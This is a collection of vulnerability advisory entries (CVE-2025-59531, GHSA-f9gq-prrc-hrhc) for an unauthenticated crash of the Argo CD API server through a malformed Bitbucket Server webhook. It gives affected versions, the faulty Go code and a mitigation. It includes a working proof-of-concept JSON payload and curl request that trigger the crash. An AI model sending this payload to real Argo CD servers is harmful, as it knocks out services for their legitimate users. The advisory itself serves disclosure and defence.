Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

Open Source Vulnerabilities CVE-2025-59531

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

Open Source Vulnerabilities GO-2025-3993

Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload in github.com/argoproj/argo-cd

Open Source Vulnerabilities BIT-argo-cd-2025-59531

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0 through 2.14.19, 3.0.0 through 3.2.0, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.1.8 and 3.0.19.

Open Source Vulnerabilities GHSA-f9gq-prrc-hrhc

### Summary Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no `webhook.bitbucketserver.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field `repository.links.clone` is anything other than an array. A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API. ### Details ```go // webhook.go (Bitbucket-Server branch in affectedRevisionInfo) for _, l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast link := l.(map[string]any) ... } ``` If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {} The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary. ### PoC Save as payload-panic.json - note the non-array links.clone. ```json { "eventKey": "repo:refs_changed", "repository": { "name": "guestbook", "fullName": "APP/guestbook", "links": { "clone": "boom" } }, "changes": [ { "ref": { "id": "refs/heads/master" } } ] } ``` ```shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Event-Key: repo:refs_changed' \ -H 'Content-Type: application/json' \ --data-binary @payload-panic.json ``` Observed crash (argocd-server restart): ``` panic: interface conversion: interface {} is string, not []interface {} goroutine 192 [running]: github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo webhook.go:209 +0x1218 ... ``` ### Mitigation If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler. If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads. ```diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.bitbucketserver.secret: <your base64-encoded secret here> ``` ### For more information * Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) * Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd ### Credits Discovered by Jakub Ciolek at AlphaSense.